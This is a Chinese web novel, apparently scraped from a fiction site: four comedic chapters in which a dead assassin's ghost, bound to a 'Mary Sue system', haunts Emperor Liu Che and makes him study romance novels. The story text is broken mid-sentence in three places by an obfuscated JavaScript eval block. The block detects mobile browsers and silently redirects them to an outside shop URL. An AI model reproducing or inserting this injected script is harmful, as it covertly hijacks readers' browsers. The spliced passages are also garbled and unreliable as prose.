《历史直播,但沙雕狗血玛丽苏》 1. 杀手01 建元六年,六月六日,夜雨潇潇。 长安城,未央宫,清凉殿中。 青石砖上摆着错金青铜博山炉,烟雾从中升腾而起,影影绰绰宛若海上仙山。 蜡烛的光从宫灯中流泻出来,烛光中帷幕重重,一直垂到地上,烟雾缘着帷幕飘荡流散,重重织金线隐在暗纹之下,隐约发出幽微的一线金光。 屋宇高广而寂静无声,汉天子刘彻一身素衣,端坐在书案前,手中握着一卷竹简,但是没有读,而是抬头看向书案对面的…… 竹简被他死死抓在手中,像是抓着歹徒入室抢劫时家里唯一的一把指甲刀。 他看起来随时想把竹简举起来挡住什么致命袭击,但显然也没指望这竹简真能有什么用。 因为他现在面临的场面,实在已经超出了人类的想象极限。 他对面坐着一个……姑且说是一个女孩儿吧,肤白瞳黑,眉目端丽,算得上是个美人,而且正在向他微笑,笑容神秘而美,但这不是重点。 重点是这女孩儿浑身上下是半透明的,身上那身形制古怪的黑衣也是半透明的,发尾和衣角一起拖在地上,末端化为黑雾散逸在空气中。 面对这种……隐秘存在,人间的武器能起什么作用? 刘彻现在还能坐在原地,而不是崩溃得一塌糊涂,已经足以说明他不负汉天子之尊位,是个实打实拥有钢铁雄心的硬汉了! 与此同时,坐在他对面的那个半透明的女孩儿,也就是林音,也正在好奇地打量着刘彻,“系统,这位就是我们的目标,统治了一整个时代的皇帝,刘彻?” ——事情要从两个小时前说起。 两小时前,林音是个杀手。 她生活的世界是一个废土末世,生存资源凋零,变异怪物横行。 当时林音刚宰了一头铁齿鼠,□□从眼珠贯入,搅碎柔软的脑组织,铁齿鼠像按了关机键一样瞬间萎靡瘫软。 那头变异猛虎就在这个时候悄悄踱步过来。 身为一个杀手,林音猎杀过长满恶魔之眼的爬山虎,狩猎过进化出虫巢思维模块的女王蜂,一身杀气冲云天,业务水平硬得能砍树。 虎爪从后背贯入,一爪几乎抓碎林音的心脏,但下一秒钟林音及时拽住虎爪,用肋骨卡住虎爪,反身撞入猛虎怀中,□□如毒蛇一般高举起来,贯入猛虎眼珠。 这是她生前最后一场战斗,在从前那些辉煌战绩之后,她又顺利猎杀了一头S级变异猛虎,代号【山君】。 然后,林音死了。 但没完全死。 一个玛丽苏系统刚好路过,绑定了她的残魂,把她带到了一个叫做“建元六年”的世界。 系统跟林音签合同,解释了一大堆条款。 比如系统全称是【历史直播之玛丽苏系统】,绑定系统之后林音不会魂飞魄散,可以当个孤魂野鬼,继续存在下去。 作为交换她必须完成玛丽苏任务,收割玛丽苏积分。 积分可以在系统商城里兑换各种神奇不可思议的东西,比如林音有一个新手大礼包,里面是一份【入梦术】,这就是系统商城里的上架商品。 这次林音可以免费入手,但是之后再想要别的东西,就要花费积分去兑换了,现在的积分余额是0,所以建议宿主尽快开始做任务,收割积分。 林音没听懂,但不动声色。 生活在废土末世,生存资源凋零,饭都吃不饱,更别说娱乐活动了,林音不知道什么是穿越,什么是系统,什么又是玛丽苏。 她只知道自己来到了一个陌生的世界,这个世界有山有水有食物,还有长满庄稼的农田。 她需要去做任务,这个叫系统的提供了很多信息,但是都没什么用,所以林音统统没在意,她继续往下听。 系统说:“任务目标难度不同,有的简单,有的根本完不成,难度越高获得的积分就越多,但宿主新手上路,还是建议稳妥行事,稳重发育。” “就比如现在,我们可以从低难度目标切入,看到那个牧羊人了吗?用【入梦术】进入他梦中,成为他惊鸿一瞥的梦中情人,只要触动他的心肠,我们就能收割到第一点玛丽苏积分。” “我们现在穿越到的是公元前134年,西汉孝武皇帝执政年间,时逢建元六年,钱累巨万,兵戈将兴。也就是说大家衣食饱足,都很愿意谈恋爱——” 来了,关键信息。 末世中磨砺出来的直觉突突跳动,林音敏锐地捕捉到任务关键字,“西汉孝武皇帝,是他的名字吗?” 系统愣了一下,“你说刘彻吗,当然不是他的名字,这个是……” “刘彻。”林音重复了一遍。 她把这个名字咬在牙齿间,像是猛虎咬住羚羊的心脏。 末世培养出来的习惯是,如果目标露出破绽,那么你没有迟疑的时间。 所以,下一刻,系统还没反应过来,林音已经开始操作系统面板。 选定任务目标,刘彻。 锁定目标位置。 启动穿越附赠的落点定位功能,这是个一次性功能,只有穿越刚落地的时候能用一次。 林音现在用这个功能,当然不是去找系统选中的那个牧羊人,而是直奔未央宫中,刘彻卧榻之侧! 系统目瞪口呆看着这一切,“不是,你,等——” 来不及了。 下一刻天旋地转,眼前万千落叶飞花,等到画面再度清晰,林音已经来到长安城,未央宫,清凉殿,刘彻书案对面。 她调整了一下姿势,脊背挺直,正襟危坐。 就这样坐在了刘彻对面。 系统立马崩溃了,“咱们这是在干嘛?” 林音冷静道,“我对这个时代很感兴趣。” “可以啊,没人拦着你感兴趣,但是跟刘彻有什么关系?” “他是时代核心,解决掉他,就等于解决了这个世界。” 之后世界就是她的游乐园,她想怎么切怎么割怎么吃都随便。 “怎么解决他?我给你说他非常难搞,号称野猪……” “本来想杀了他。” 系统大惊失色,“别搞,咱们是正经系统,不能干这种违法乱纪的事儿!” “现在不用了。” “啊?” “他看起来是个普通人,是我的同类。” “所以?” “让我来感动他,让他主动来帮我做任务!”林音如此笃定。 “不是……他这个人不会被感动的,你清醒一点!”系统非常绝望。 “相信我。”林音不为所动。 此时是建元六年,六月六日,窦太皇太后新丧,这女人生前一手把持朝政,她死后阴云散开,刘彻终于正式开始亲政,此时已经是他登基的第六年。 所以刘彻很忙,宫中还挂满魂幡,刘彻身上的素衣也还没换掉,脑子里已经开始盘算之后要怎么剪除窦氏党羽,清洗朝堂上下,提拔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456926|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心腹,集中皇权。 今夜原本也应该是这样平平无奇的一个夜晚,刘彻看会儿书就准备睡觉,明天还要早起去祖母灵堂前叩拜。 然后,他书案前就忽然出现了一个林音。 但刘彻并不知道这个名字,他也不知道该怎么形容这个浑身半透明的女孩儿。 而且刘彻敢发誓自己眼神很好,刚刚并没有眨眼,也没有睡着了在做梦,但那女孩儿真的是在他眼前忽然出现,毫无征兆,毫无人气儿。 刘彻承认自己被吓到了。 清凉殿四周防守不可说不严密,但在这女孩儿面前竟然毫无用处,她忽然出现就像一阵阴风,人力怎么可以捉住无形的风? 所以刘彻明智地没有大喊大叫,第一反应是假装看不见。 他如常地低头就着灯火读书,一言不发。 期间侍奉他起居的中黄门赵谈进来了一趟,第一眼就吓了一跳,陛下对面怎么会有一个从未见过的女孩儿? 这可是窦太皇太后的孝期……不对,这不是重点。 这女孩儿看起来怎么是半透明的?她身上那身怪异的黑衣衣角落在地面上,尽头竟然弥漫出丝丝黑雾! 这、这无论怎么看都有点不像是人……吧? 赵谈已经上了年纪,他历经过文帝、景帝两朝,一直留任宫中,迄今又在今上身边侍奉有六年,乃是个老资格宦官,意思是业务水平够硬,非常硬。 他深知有些东西看见不如不见,非要看见也最好当看不见,以及陛下这么做总有他的道理。 此时尽管已经被吓得三魂飞了一半,但他硬生生凭借本能完成了靠近刘彻、剔明灯芯、起身默默退出的一条龙动作,全程目不斜视,神色不变。 刘彻还在低头看书,并且演技爆棚地翻了一页,其实一个字没看进去,心里乱七八糟:赵谈什么都没看见?所以是只有他能看见,这其中又有什么深意? 林音终于也忍不住怀疑人生了,“系统,在吗?” 系统除了沉默不知道说什么。 林音问它,“你确定我现在是实体化的吗?不会还是孤魂野鬼吧,这两个人好像都看不见我?” 系统说,“准确来说,你现在是半实体化,可以被肉眼捕捉到。还有你又是空间跃迁又是要实体化,我自带的能量快用完了,你马上就得回到孤魂野鬼状态。” 林音:“懂了,我会尽快的。” 刘彻全程听见一人一系统的对话,林音特意跟系统沟通的,这两句给刘彻开通旁听权限。 这是林音的小心机,向刘彻展现一下自己这一人一统多么的凄惨,有点良心的人都忍不住感动,然后询问需要什么帮助吧? 末世人烟稀少,林音没见过多少正常人,但在她心目中,正常人就是这样的。 至于刘彻如果不是正常人怎么办? 那更好办,直接回到林音的舒适区,提刀杀掉。 刘彻并不知道自己已经危若累卵,心里一边加倍地乱七八糟,一边硬生生地继续低头读书,假装什么都没看见,什么都没听见,全身上下写满四个大字: 你别过来。 林音站起来,把他面前的竹简拽走,看了一眼,没看懂,丢在一边不管。 竹简落地的声音清脆,哗啦一声响。 刘彻不得不缓缓抬头。 林音热情洋溢地跟他打招呼,“你好,刘彻。” 透过她漂亮的笑脸,身后帷幕闪过一线锋利的金光。 2. 杀手02 刘彻:…… 怎么办,怎么办,怎么办?刘彻内心已经从邪祟想到厉鬼,从父皇保佑念到太x祖x高皇帝显灵。 林音不管这那的,“打扰一下,我要向你介绍我的系统和任务。” 系统十分疑惑,想说宿主咱们这么装疯卖傻真的有用吗? 但是又不想林音直接提刀杀人,所以权衡利弊,选择闭嘴。 刘彻意识到自己不得不说话了,那他还能说不行吗? 身为一个坚定的唯心主义者,刘彻现在还保持冷静没被吓晕已经很对得起大汉天子的名头了! “……不打扰,您请讲。” 林音琢磨了一下,觉得这就是刘彻答应了自己的求助。 他愿意帮助自己做任务! 这还等什么? 林音立马让系统给刘彻介绍任务。 “记得给刘彻开个权限,让他听到咱俩接下来的这段对话。” 然后首先,“什么是玛丽苏系统?” 系统:“简单来说,就是所有人都爱你,一爱起来就发了疯、忘了情,为了你甘愿去做平时死都不会做的事。” “原来如此。”林音点头。 她翻了翻系统提供的参考书: 《追妻火葬场,陛下别太爱》、《娇妻嫁到,侯爷宠我上瘾》、《表哥不可以,我是舅舅的未婚妻》。 书名非常的虎狼之词,内容比书名更炸裂一百倍。 林音抬头,看向坐在对面的刘彻,友好地把书推过去,“系统的话你也听到了吧?我们一起来看书吧。” 刘彻沉默了一下,“呃,我也要看吗?” 林音天真地看着他,坚定地点头,“是的,要看。” 因为这些书,她自己看不懂。包括这个玛丽苏任务系统,她也没搞太懂。 刘彻:…… 长安城,未央宫,清凉殿,这个夜晚。 刘彻默默开始看书。 然后发现根本看不懂。 刘彻发誓自己看得很认真,虽然不知道事情为什么会变成现在这样,但现在他根本不敢不认真看! 一个不知道是什么东西反正不是人的黑衣女孩儿坐在你对面盯着你,那别说看书了,她让刘彻抄书都没问题。 可是系统给的这书,简体字就算了,还是横向排版,而且大量使用后世网络流行梗,最过分的是,这书的背景是现代都市世界观。 男主虽然被称为陛下,但其实是个霸道总裁,跟刘彻这种陛下,不能说一模一样,只能说是两个物种。 刘彻硬撑着看了半天,还是看不懂。 林音表面上在看书,其实在观察刘彻的表情。 她是末世杀手,也就是说是个文盲,书里每一个字她都认识,连在一起却一头雾水,根本看不懂。 但她不想让刘彻看出来自己是个文盲,怪丢人的……末世杀手也知道不读书不是什么好事儿。 她的计划是观察刘彻的反应,反向破解这本书的内容。 林音对刘彻很有信心,她都坐在刘彻对面了,刘彻竟然毫无反应,坚持继续看书,中途不吃不喝,废寝忘食,只是看书。 这一看就是个文化人啊,区区一本参考书,绝对没问题的。 她没想过刘彻看不懂的可能性。 毕竟她自己都能看个一知半解的,刘彻再怎么也得比她看出来的内容要多吧。 刘彻也不敢说自己没看懂,他试图观察林音的表情,以此推测这本书的大概内容。 就像在朝堂上,对着底下臣子的脸色,猜测他们的真实意图,对刘彻来说这是童子功,八岁开始练到现在。 这可是西汉武帝初年,豪强兼并,诸侯并立,边患越演越烈,地方对抗中央,刘彻八岁开始接触这些,什么阴险狡诈的老狐狸他没见过? 但林音的表情非常直白,就是天真,烂漫,眼神清澈,刘彻用余光偷偷观察半天,眼珠子都酸了,啥也没看出来。 刘彻感到前所未有的挫败,暗道果然不是普通人,竟然如此深不可测。 没办法,刘彻也不敢说自己看不懂,低头一味看书。 林音当然更不说话,俩人安静看书,像是谁先开口谁就输了。 清凉殿一时安静得像图书馆,弥漫起前所未有的书香。 系统忍不住了,“书拿反了,你这是从结尾开始翻的。” 林音看了刘彻一眼,面不改色,“哦这是我独特的看书方式,你别管。” 刘彻一言不发,表情严肃,只是眼神里适时地流露出一丝崇拜。 试图让这女孩儿看出自己的友好和谄媚……千万别用什么乱七八糟的手段害他。 系统:在崇拜什么? 系统改为在林音脑海中说话,屏蔽了刘彻,【我提醒一下,我真的没有能量了,榨不出来了,你快要消失了。】 林音第一反应是,【那刘彻还能看这个书吗?他好像还没看完。】 系统说,【不行,书会跟你一起消失。】 林音想了想,【那只能用入梦术把他拉进梦里继续看书了。】 系统迟疑地想,这好像不是玛丽苏系统应该干的事儿。 林音转头对刘彻道,“时间要到了。” 系统开始倒计时。 3。 刘彻顿时瞪大眼,手指一瞬间收紧,手上青筋毕露,他呼吸声变得急促,这本书……他真的一点都没有看懂。 而现在时间到了,是……什么意思? 谁的时间到了? “我要走了。”林音遗憾地说。 刘彻眼里冒出希望的光。 2。 “这本书,你还想看吗?” 刘彻立马正气凛然地站起来,眼睛里甚至漫出一丝不舍的泪光,情绪饱满道,“此书之精妙实乃我平生仅见,堪称千古雄文,未能深解便要放下,实乃平生之憾,我当遗恨百年!” 赶紧拿走吧,谁爱看谁看,离我远点,再也不要见。 1。 林音对着刘彻笑了一下。 她死的时候只有十八岁,年纪还小,脸看起来比实际年龄还要更小,末世没有阳光,她的肤色雪白,黑色冲锋衣领口直遮住下颌,长发在脑后绑成高马尾,发丝乌黑。 笑起来的时候她嘴角翘起,露出尖尖的虎牙,赵谈看见她的时候心里第一反应是个漂亮的女孩儿,确实漂亮,但是刘彻所思所想更多的是,这一瞬间她身上流露出一丝莫名的气息。 古老而且神秘,让人想起瑶池或者蓬莱,帷幕上的金线在烛光下闪着锋利的金光,但在她映衬下竟然显得黯淡。 刘彻一瞬间被迷惑住了,几乎下意识伸出手要去挽留她。 果然啊,林音想,刘彻确实是个爱看书的文化人,等他睡着了就用入梦术,把他拉进梦里,继续看书。 下一刻,她消失了,半透明的黑衣身影倏忽不见,宛若一阵阴风,或者一场噩梦。 …… 刘彻双手放在书案上,呆若木鸡地坐了很久。 然后他站起来,内心疑神疑鬼,表面看似端正,在清凉殿里转了一圈,每一个隐秘角落都不放过。 没有,哪里都没有,真的走了。 刘彻慢慢松了一口气,心里如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456927|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释重负。 这时候才开始觉得累,简直比一连应付十个诸侯王还要更累。 甚至懒得叫人进来铺床叠被,他径自扑到床上,躺下去,飞快地睡着了。 其实还有很多事情要想,但刘彻睡前最后一丝念头是,一丝淡淡的遗憾。 他自己都没意识到自己其实是个这么疯狂的人,见识到了今夜那样的事情之后还会对那女孩儿觉得不舍。 她是谁?到最后竟然也不知道。 一刻也没有耽搁,刘彻入睡的下一秒钟,林音秒开【入梦术】。 那丝淡淡的遗憾还在心间萦绕,刘彻已经又坐在了林音面前,俩人中间摆着那本让人心梗的书。 刘彻:…… 系统:…… 林音抬头笑了笑。 好心人,文化人,又见面了。 刘彻跟着笑了笑,呵呵,呵呵……麻木地扯动嘴角。 于是俩人在梦里继续看书。 这次林音看得很仔细,简直像是要从字缝里看出来字。 刘彻还是看不懂,但他非常害怕,心想这女孩儿竟然还能操控梦境? 如果说之前他以为林音是邪祟,那么现在他认为林音是个大邪祟。 为了避免得罪这头大邪祟,刘彻拼尽全力表现出比林音更认真的态度。 远远看去俩人认真得像期末考试前夜的大学生。 帝国诸侯公卿如果看到刘彻如此态度,必然会大惊失色,暗暗揣测那书上写的必定是经国之策,百年大计,换到两千年之后足以连上十天新闻u联i播。 系统也有那么一瞬间被这俩人的认真态度所迷惑。 结果靠近一看手里的书是《追妻火葬场,陛下别太爱》。 系统更疑惑了。 它其实也是个新系统,没什么工作经验,对玛丽苏的认知止步于纸上谈兵,这本书不是经验总结,而根本就是它随便扒拉出来的一个狗血脑残小说。 结果被林音和刘彻整得像什么高端论文一样,系统都开始怀疑莫非是自己小看了这本玛丽苏小说?可它分明平平无奇啊? 系统有点纠结,按理说它是跟林音一边的,应该希望林音看懂这本书才好。 但事到如今它突然拿不准这书到底是看懂了好,还是干脆这辈子都别看懂更好。 下一刻,林音忽然说,“我明白了!” 刘彻震了一下。 系统也震了一下。 林音合上书,目光炯炯地看向刘彻,迫不及待地想跟好心人分享自己的新领悟,“我知道你要怎么做了。” 刘彻脚尖悄悄往外挪了一下。 林音说,“第一件事。” 刘彻换了个姿势,更正襟危坐,几乎要汗流浃背,态度非常认真。 毕竟,他知道这是在梦中,不管这女孩儿究竟是什么来历,结果就是他跑不掉了,那么只能加倍认真地按她说的去做。 说不定能活。 “十年前,你爱上了我,我也爱上了你。” 第一句话就让刘彻沉默了。 系统已经麻木了,随便吧,从开始到现在,林音的操作就没有它能看懂的,现在能量也没了,任务也稀巴烂,随她去吧。 刘彻艰难地张了张嘴。 系统觉得刘彻大概要勃然大怒,甩袖而去,再留下一句,“不可理喻!” 刘彻心里也觉得不可理喻!什么叫我应该怎么做,我什么时候答应做了?而且什么叫我爱上了你,这种事情…… 半透明的女孩儿,盯着自己看。 所以刘彻温顺地说,“……要怎么爱呢?” 3. 玄女01 林音被问住了,她也不懂,所以她故意装作没听见,继续说,“但你是个负心汉,你无情地抛弃了我,我只好无奈地出国。” 刘彻更茫然了,“出国……?去匈奴还是南越,还回来吗?” 林音哪知道什么是出国什么是匈奴,但她会肃穆地点头,“对的,书上就是这么写的。” 系统:…… 刘彻又沉默了一下,是的,面对如此胡扯的进展,他竟然没有怒气冲天,不但听进去了,而且甚至试图为自己分辩,“不是,十年前我见过你吗?” 系统插话,“而且十年前刘彻才多大!” 刘彻非常郑重地向系统行礼,像是看见了患难兄弟,“某现年二十又一岁。” 十年前,二十一减去十,等于十一岁。 “好小啊。”林音对着刘彻发出感慨,“你这个人爱情萌发得真早。” 系统:…… 刘彻咬牙笑着,真诚地,发自肺腑地说,“您说得对。” 林音继续念后续的内容,“十年后,我回国了,并且所有人都知道我回国了。” 刘彻心想又回来了啊,这次还走吗? “然后,还要让所有人都知道,对于十年前抛弃我的那件事,你超级、超级、超级后悔!这么多年来,你一直对我念念不忘。” 刘彻嘴角笑容僵硬,“所有人……是多少人?” 林音关心道,“你怎么突然开始结巴了,刚才不这样啊。” 系统:…… 刘彻:“……多谢关心。” 但是他这个问题提得很有见地。 林音开始回忆。 在她看懂的那一部分原剧情中,女配在新闻记者的镜头里看到女主从机场出来,女主回国的消息就此传开。 所有人具体是多少人,这个真不知道,那本书林音现在只是看懂了一部分,还有很多没看懂的地方。 而且,这个时代,没有镜头和新闻。 林音机智地去查了系统资料库,这个时代影响力最大的信息传播渠道,是大朝会。 所以她对刘彻说,“所有人就是所有人啊!这样,你在大朝会上宣告我的归来。” 刘彻呆滞,“大朝会……?” 系统比刘彻更呆滞:“大朝会?!” 它毕竟比林音有文化点儿,知道这具体是个什么东西。 汉家天下,起于微末,当年高皇帝践祚之初,未央宫中,群臣饮酒争功,拔剑击柱,尊卑不分,殊无礼仪。 直到叔孙通参照秦礼,制订朝仪,于汉高祖七年,在长乐宫首次举行大朝会,高x祖献礼天地,百官山呼万岁,始有王朝气象。 有汉一朝,大朝会就是皇权的起点和最高象征,是真正意义上的帝国重典,跟日常朝会完全是两码事,要刘彻在大朝会上宣告追妻火葬场这种事……? 系统不太理解。 刘彻也略微露出迟疑的神色。 这种事情他心里当然不能接受!这不但是把他的脸丢在地上踩,更是把大汉的脸面都撕扯下来。 大朝会出席的可不止是诸侯王,还有周边蛮夷和附属,包括匈奴,百越,都会派遣使者前来。 这也不是要不要脸的事儿,那些人会以为刘彻疯了的,一个疯子还能继续坐大汉天子的位置吗? 显然不可能!刘彻敢这么干第二天就要面对源源不断的弹劾、死谏和造反。 但是刘彻很聪明,他不直接拒绝,而是假装自己其实很乐意,但又因为某些原因实在做不到,“可是,现在不是召开大朝会的时间。” 都说了是国家大典,当然不是随随便便举办的,每年只有岁首祭天的时候,西汉王朝才会举行大朝会,一年一度,过时不侯。 所以刘彻假装迟疑地看向林音,亲亲您看这是等到十月岁首,大朝会如期召开,到时候再宣告这件事,还是干脆放弃呢? 其实就算等到十月岁首他也不会在大朝会上这么干的,两个选择都一样。 但林音两个都不选,“那你紧急召开一个大朝会好了。” 身为一个肌肉发达的文盲,她根本不懂什么叫大朝会,反正都带个“会”,她就浅显地理解成了古代版本的开会。 怎么可能等到十月份?她赶时间,很着急的好吗,所以那就只能让大朝会来迁就她了。逻辑就是这么简单。 在她前世,基地内部紧急召开作战会议是家常便饭,她不觉得这是什么大事儿。 系统听力竭了。 刘彻已经呆滞住了,紧急召开……大朝会? 这玩意儿是能说开就开的吗?汉有天下六十八年,从来没发生过临时召开大朝会这种事。 这先例能在他这儿打破吗? 当年周幽王烽火戏诸侯也是这么动不动召集十八路诸侯,后续结果大家也都看见了。 刘彻不想跟周幽王坐一桌,他还年轻,刚刚亲政,未来光明得晚上睡不着觉。 但是要是拒绝林音,他可能连周幽王都当不成。 于是刘彻加倍委婉地说,“这个可能……不太方便……就是因为……那个然后……” “你怎么又变成结巴了?不要紧吧?”林音暖心地关心他。 刘彻张了张嘴,也力竭了。 林音直接当他同意了,“那么我们进入下一项,这里有个注意事项。” 系统同情地看向刘彻。 它一个系统,现在竟然由衷地心疼一个任务对象! 刘彻晃了晃,坚强地坐稳了,“……您说。” 林音说,“首先我不能暴露身份。” 重点来了! 刘彻打起精神,再次坐直了,“还未请教尊上的身份是……?” 所以你到底是谁?你来自瑶池还是蓬莱?你来自深山还是青天? 究竟是怎么样地找到了我,提出这些荒诞无理的要求。 我不敢拒绝您……是的,刘彻不得不承认他不敢拒绝林音,但是总得让他死个明白吧? 像您这样尊贵的大人物,到底是谁! 系统痛苦地转过脸,想到林音当初跟它自我介绍时候的样子,一个杀手,一个末世杀手,一个绑定了玛丽苏系统的末世杀手。 但是面对刘彻的问题,林音呆滞了。 因为这不是她自己的身份,而是书里女主角的身份。 书里是这么写的,女主其实有一个很厉害的隐藏身份,但是所有人都不知道,只以为她是个平平无奇的穷女人。 问题是,林音只是看懂了女主角有隐藏身份,没看懂具体是什么隐藏身份。 她看向刘彻,略带心虚。 刘彻殷切地看着她,眼睛发亮,呼吸声变重,视线热切得像是有温度。 “嗯……”林音沉吟片刻,故作神秘道,“是一个很厉害很厉害的隐藏身份!” 具体让刘彻自己去想吧,他是文化人,他比较懂这个。 刘彻:…… 系统再度向刘彻投去同情的视线。 “实在不懂的话……”林音把书拿起来,撕掉一半,慷慨地递给刘彻,“你看书嘛,拿走看,多看几遍,答案都在书里!” 刘彻伸出手,哆哆嗦嗦地接过书,哽咽道,“尊上托付甚重,凡臣我位卑德浅……” 都是合作伙伴,说这些话实在太客气了。 林音挥挥手,“没事的,好好干,过几天我手里这些也都拿给你看。” 她指了指角落里堆着的剩下两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456928|201231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本半,《娇妻嫁到,侯爷宠我上瘾》、《表哥不可以,我是舅舅的未婚妻》。 其实今天她就想给刘彻全拿走,但一是她自己还要看,二是系统确实没有能量了。 把书变成实体也是需要能量的,系统榨干了也只能给刘彻拿走半本,所以也就只能这样了。 “来日方长。”林音语重心长,试图劝刘彻不要太心急,书要慢慢看,不能急。 刘彻看起来非常感动,眼眶里隐隐泛出泪光。 林音也有点感动了,“他真的是一个很好的合作对象,一个好人。” 系统欲言又止,想要张嘴,还是算了。 刘彻还站在原地,极其珍重地托着那半本书,手指抖啊抖啊。 他看起来想说什么,但是一时组织不好语言。 林音于是不再管他,开始规划自己的事情。 玛丽苏任务是系统的要求,并不是她的诉求,自从来到这个世界之后林音脑子里就冒出了一个大胆的想法: 有水有草有田地,她要把这个世界上交给国家用来种地! 当然,林音并没有见过真正的田园,她出生的时候,地球上已经长不出农作物了。 西汉这个世界倒是有很多人种田,但是那种贫瘠寡瘦的作物,跟人类文明全盛时期,完全是两种东西。 凭借脑海中一点稀薄的印象,以及系统资料库的庞大资料,林音在梦里,慢慢捏造出自己的规划。 如果国家可以来到这个世界种地,那么这里应该种上小麦—— 刘彻捧着书,依然站在原地,只是一转眼的时间里,他眼睁睁看着眼前的世界,忽然变了一个模样。 眼前是……大片大片的田地。 地上长满挨挨挤挤的麦穗,金黄灿烂,一望无际。 每一根麦穗都比人的手掌还更长,沉甸甸的往下坠着,只是用眼睛看,就能感受到那踏实的份量。 农人前来收割,但不带镰刀也不带锄头,巨大的机器轰鸣着驶过麦田,金沙一般灿烂的麦粒像一条小河一样流淌进撑开的口袋。 无数个口袋伫立在田地里,每一个口袋都沉重到需要两个人一起才能勉强扛起来,有人在称重,然后记录。 刘彻试图去看那些数字,看不清楚,但他嘴唇翕动不停计算……得出来一个不可思议的数字。 此时天下,最好的关中良田一亩可出粮3石、4石,更多的田地耕耘一年一亩只得1石。 天灾一起,饿殍千里,风调雨顺,也不缺乏有人饿死冻死。 这跟赋税没关系,跟皇帝也没关系,换谁来都一样,这地上就只能长出来这么多粮食,这就是天命。 但刘彻看见天命在改变,眼前这些土地一亩出粮是30石。 三十倍的差距,足足三十倍! 刘彻快速在内心计算,他在课业上称得上聪慧,也足够勤勉,天下大账都在他胸中,但这一笔小账眼下他竟然算不明白。 那些简简单单的数字算得他脑袋充血,头晕目眩,手指头都开始颤抖起来。 如果他能得到……如果眼下这些土地能属于他…… 赋税黄册上记此时天下有民一千万户,三千万余口,刘彻记得清清楚楚,身为一个皇帝,他麾下的子民才是他真正的财富。 可眼前这一片田地所产粮食便能活人五千万,而这样的田地,影影绰绰在远处还有一二三四……数之不尽! 眼前这是一个梦。 可是一切都那么清晰。 刘彻终于忍不住,想要冲进烂泥地里去拔出一根麦穗,这一定是天上神仙吃的仙谷,他要带回去,带回自己的帝国! 可他伸出的手什么都没有碰到,眼前的麦穗如泡沫般破碎。 4. 玄女02 林音诧异回头,“欸,你怎么还在这里?”这么晚了,不用回去睡觉的吗? 刘彻怔怔看着她,还没反应过来。 林音当他已经困晕了,贴心地挥了挥手,送他回去睡觉。 【入梦术】从刘彻身上剥离开。 金黄的麦田,在刘彻眼中渐渐变淡,越来越淡…… 清凉殿中,香雾如旧。 刘彻猛地从床上坐起来。 他剧烈地喘息,脑海中闪过种种片段,穿黑衣的女孩儿,前所未有清晰的梦境,以及最后也是最重要的—— 刘彻低下头。 被子闪着丝锻的光泽,干干净净,什么都没有。 刘彻粗暴地掀开被子。 一本书,不,是半本书,静静躺在他肚子上,书页雪白柔软,书封上写着两行大字: 《追妻火葬场,陛下别太爱》。 真的…… 不是梦。 刘彻颤抖地捧起肚子上的半本书。 脑海中一时什么都不能思考,翻来覆去只剩下唯一的一个念头。 是真的,不是梦,书是真的,仙谷也是真的! 亩产三十石,连绵无际,活人百万…… 视线重新落在书上。 刘彻一瞬间……心情很复杂。 他想到自己那失礼的举措,他竟然妄想偷窃天上的仙谷,被发现会引来什么样的后果? 刘彻心里很明白,可是一点也不后悔,重来一遍他还是会伸出手,谁能忍住不伸出手呢?他父皇来了会这样做,他父皇的父皇来了同样会那样做。 只是父皇和皇爷爷都没有他命好,没能像他一样在梦中遇仙。 什么邪祟?刘彻已经认定,自己遇见的是神仙! 神仙还给了他一本书,让他仔细研读。 只要看懂这本书,然后按照书上写的去做,就能得到神仙的欢心,得到她的恩赐。 这还有什么好说的? 刘彻也不睡了,从床上跳下来,天还黑着,但是他已经决定要行动起来。 是,他确实看不懂这本书,天书么,晦涩难通是应该的,他也只是一个凡夫俗子。 但是跟别的凡夫俗子不同的是,他还是大汉天子,帝国皇帝。 他不是天底下最有学问的人,但他可以找来天底下最有学问的人,他破解不出这本天书,但他手底下一定有能破解出这本天书的人,而那个人要向他俯首称臣! 当然,这种能人那是可遇不可求的,刘彻也没有非要钻牛角尖的意思……一个人不行那就十个人,十个人不行就一百个人么。 他,刘彻,手底下什么都缺,就是不缺人! 此时汉家,五日一朝。 今天刚好赶上群臣议事的日子,而且很巧,这还是窦太皇太后丧葬之后,刘彻辍朝二十一日之后的第一次朝议。 原本,这场朝会虽然有些特殊,但也仅此而已,还是会平平淡淡地过去,就像之前之后的每一次朝会一样。 可是偏偏,今天,现在,刘彻开始了他的行动。 于是群臣诧异地发现,陛下正式亲政之后的第一次朝议,突然变得很诡异。 